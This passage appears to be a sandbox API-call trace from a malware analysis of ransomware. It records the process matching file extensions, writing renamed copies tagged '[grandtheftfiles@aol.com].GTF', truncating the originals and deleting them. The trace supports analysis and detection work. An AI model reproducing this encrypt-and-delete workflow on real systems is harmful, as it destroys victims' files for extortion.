	[0068.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.314] lstrlenW (lpString=".1cd") returned 4
	[0068.314] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0068.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.314] lstrlenW (lpString=".jpg") returned 4
	[0068.314] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0068.314] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0068.314] lstrlenW (lpString="UiInfo.xml") returned 10
	[0068.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0068.350] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=39042) returned 1
	[0068.350] CloseHandle (hObject=0x2d0) returned 1
	[0068.351] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80
	[0068.351] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.351] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0068.351] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.351] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.351] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0068.373] GetLastError () returned 0x0
	[0068.373] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x9882, lpOverlapped=0x0) returned 1
	[0068.413] WriteFile (in: hFile=0x2fc, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x9890, lpOverlapped=0x0) returned 1
	[0068.414] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.415] WriteFile (in: hFile=0x2fc, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0068.415] SetEndOfFile (hFile=0x2fc) returned 1
	[0068.415] CloseHandle (hObject=0x2fc) returned 1
	[0068.416] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.416] SetEndOfFile (hFile=0x2d0) returned 1
	[0068.418] CloseHandle (hObject=0x2d0) returned 1
	[0068.418] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.418] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1
	[0068.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.418] lstrlenW (lpString=".doc") returned 4
	[0068.418] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.418] lstrlenW (lpString=".docx") returned 5
	[0068.418] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0068.419] lstrlenW (lpString=".pdf") returned 4
	[0068.419] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.419] lstrlenW (lpString=".xls") returned 4
	[0068.419] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.419] lstrlenW (lpString=".xlsx") returned 5
	[0068.419] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0068.419] lstrlenW (lpString=".ppt") returned 4
	[0068.419] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.419] lstrlenW (lpString=".zip") returned 4
	[0068.419] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.419] lstrlenW (lpString=".rar") returned 4
	[0068.419] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.419] lstrlenW (lpString=".bz2") returned 4
	[0068.419] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.419] lstrlenW (lpString=".7z") returned 3
	[0068.419] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.419] lstrlenW (lpString=".dbf") returned 4
	[0068.419] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.419] lstrlenW (lpString=".1cd") returned 4
	[0068.419] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.419] lstrlenW (lpString=".jpg") returned 4
	[0068.419] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.419] lstrlenW (lpString=".doc") returned 4
	[0068.419] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.420] lstrlenW (lpString=".docx") returned 5
	[0068.420] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0068.420] lstrlenW (lpString=".pdf") returned 4
	[0068.420] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.420] lstrlenW (lpString=".xls") returned 4
	[0068.420] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.420] lstrlenW (lpString=".xlsx") returned 5
	[0068.420] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0068.420] lstrlenW (lpString=".ppt") returned 4
	[0068.420] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.420] lstrlenW (lpString=".zip") returned 4
	[0068.420] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.420] lstrlenW (lpString=".rar") returned 4
	[0068.420] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.420] lstrlenW (lpString=".bz2") returned 4
	[0068.420] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.420] lstrlenW (lpString=".7z") returned 3
	[0068.420] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.420] lstrlenW (lpString=".dbf") returned 4
	[0068.420] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.420] lstrlenW (lpString=".1cd") returned 4
	[0068.420] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0068.420] lstrlenW (lpString=".jpg") returned 4
	[0068.420] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.421] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0068.421] lstrlenW (lpString="UiInfo.xml") returned 10
	[0068.421] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0068.421] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=39050) returned 1
	[0068.421] CloseHandle (hObject=0x2d0) returned 1
	[0068.421] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80
	[0068.421] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.421] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0068.421] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.421] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.421] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.910] GetLastError () returned 0x0
	[0068.910] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x988a, lpOverlapped=0x0) returned 1
	[0068.944] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x9890, lpOverlapped=0x0) returned 1
	[0068.946] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.946] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0068.946] SetEndOfFile (hFile=0x334) returned 1
	[0068.946] CloseHandle (hObject=0x334) returned 1
	[0068.948] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.948] SetEndOfFile (hFile=0x2d0) returned 1
	[0068.949] CloseHandle (hObject=0x2d0) returned 1
	[0068.949] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.949] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1
	[0068.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.949] lstrlenW (lpString=".doc") returned 4
	[0068.949] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.949] lstrlenW (lpString=".docx") returned 5
	[0068.949] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0068.949] lstrlenW (lpString=".pdf") returned 4
	[0068.949] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.949] lstrlenW (lpString=".xls") returned 4
	[0068.949] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.949] lstrlenW (lpString=".xlsx") returned 5
	[0068.949] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0068.949] lstrlenW (lpString=".ppt") returned 4
	[0068.949] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.949] lstrlenW (lpString=".zip") returned 4
	[0068.949] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.950] lstrlenW (lpString=".rar") returned 4
	[0068.950] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.950] lstrlenW (lpString=".bz2") returned 4
	[0068.950] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.950] lstrlenW (lpString=".7z") returned 3
	[0068.950] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.950] lstrlenW (lpString=".dbf") returned 4
	[0068.950] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.950] lstrlenW (lpString=".1cd") returned 4
	[0068.950] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.950] lstrlenW (lpString=".jpg") returned 4
	[0068.950] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.950] lstrlenW (lpString=".doc") returned 4
	[0068.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.950] lstrlenW (lpString=".docx") returned 5
	[0068.950] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0068.950] lstrlenW (lpString=".pdf") returned 4
	[0068.950] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.950] lstrlenW (lpString=".xls") returned 4
	[0068.950] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.950] lstrlenW (lpString=".xlsx") returned 5
	[0068.950] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0068.950] lstrlenW (lpString=".ppt") returned 4
	[0068.950] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.950] lstrlenW (lpString=".zip") returned 4
	[0068.950] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.950] lstrlenW (lpString=".rar") returned 4
	[0068.950] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.950] lstrlenW (lpString=".bz2") returned 4
	[0068.950] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.951] lstrlenW (lpString=".7z") returned 3
	[0068.951] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.951] lstrlenW (lpString=".dbf") returned 4
	[0068.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.951] lstrlenW (lpString=".1cd") returned 4
	[0068.951] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0068.951] lstrlenW (lpString=".jpg") returned 4
	[0068.951] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.951] Sleep (dwMilliseconds=0x64) 
	[0069.071] Sleep (dwMilliseconds=0x64) 
	[0069.194] Sleep (dwMilliseconds=0x64) 
	[0069.302] Sleep (dwMilliseconds=0x64) 
	[0069.408] Sleep (dwMilliseconds=0x64) 
	[0069.518] Sleep (dwMilliseconds=0x64) 
	[0069.682] Sleep (dwMilliseconds=0x64) 
	[0069.952] Sleep (dwMilliseconds=0x64) 
	[0070.163] Sleep (dwMilliseconds=0x64) 
	[0070.278] Sleep (dwMilliseconds=0x64) 
	[0070.421] Sleep (dwMilliseconds=0x64) 
	[0070.662] Sleep (dwMilliseconds=0x64) 
	[0071.223] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0071.262] lstrlenW (lpString="Garden.jpg") returned 10
	[0071.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.570] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=23871) returned 1
	[0071.629] CloseHandle (hObject=0x358) returned 1
	[0071.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20
	[0071.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.636] lstrlenW (lpString=".doc") returned 4
	[0071.636] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0071.636] lstrlenW (lpString=".docx") returned 5
	[0071.636] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0071.636] lstrlenW (lpString=".pdf") returned 4
	[0071.636] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0071.636] lstrlenW (lpString=".xls") returned 4
	[0071.636] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0071.636] lstrlenW (lpString=".xlsx") returned 5
	[0071.636] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0071.636] lstrlenW (lpString=".ppt") returned 4
	[0071.636] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0071.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.636] lstrlenW (lpString=".zip") returned 4
	[0071.636] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0071.636] lstrlenW (lpString=".rar") returned 4
	[0071.636] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0071.636] lstrlenW (lpString=".bz2") returned 4
	[0071.637] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0071.637] lstrlenW (lpString=".7z") returned 3
	[0071.637] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0071.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.637] lstrlenW (lpString=".dbf") returned 4
	[0071.637] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0071.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.637] lstrlenW (lpString=".1cd") returned 4
	[0071.637] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0071.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.637] lstrlenW (lpString=".jpg") returned 4
	[0071.637] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0071.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.637] lstrlenW (lpString=".doc") returned 4
	[0071.637] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0071.637] lstrlenW (lpString=".docx") returned 5
	[0071.637] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0071.637] lstrlenW (lpString=".pdf") returned 4
	[0071.637] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0071.637] lstrlenW (lpString=".xls") returned 4
	[0071.637] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0071.637] lstrlenW (lpString=".xlsx") returned 5
	[0071.637] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0071.637] lstrlenW (lpString=".ppt") returned 4
	[0071.637] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0071.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.637] lstrlenW (lpString=".zip") returned 4
	[0071.637] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0071.637] lstrlenW (lpString=".rar") returned 4
	[0071.637] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0071.637] lstrlenW (lpString=".bz2") returned 4
	[0071.637] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0071.637] lstrlenW (lpString=".7z") returned 3
	[0071.637] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0071.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.637] lstrlenW (lpString=".dbf") returned 4
	[0071.638] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0071.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.638] lstrlenW (lpString=".1cd") returned 4
	[0071.638] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0071.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0071.638] lstrlenW (lpString=".jpg") returned 4
	[0071.638] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0071.638] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0071.638] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23
	[0071.638] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0072.865] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=147) returned 1
	[0072.865] CloseHandle (hObject=0x2d0) returned 1
	[0072.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20
	[0072.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.865] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0072.865] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.866] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.866] GetLastError () returned 0x0
	[0072.866] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x93, lpOverlapped=0x0) returned 1
	[0072.867] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xa0, lpOverlapped=0x0) returned 1
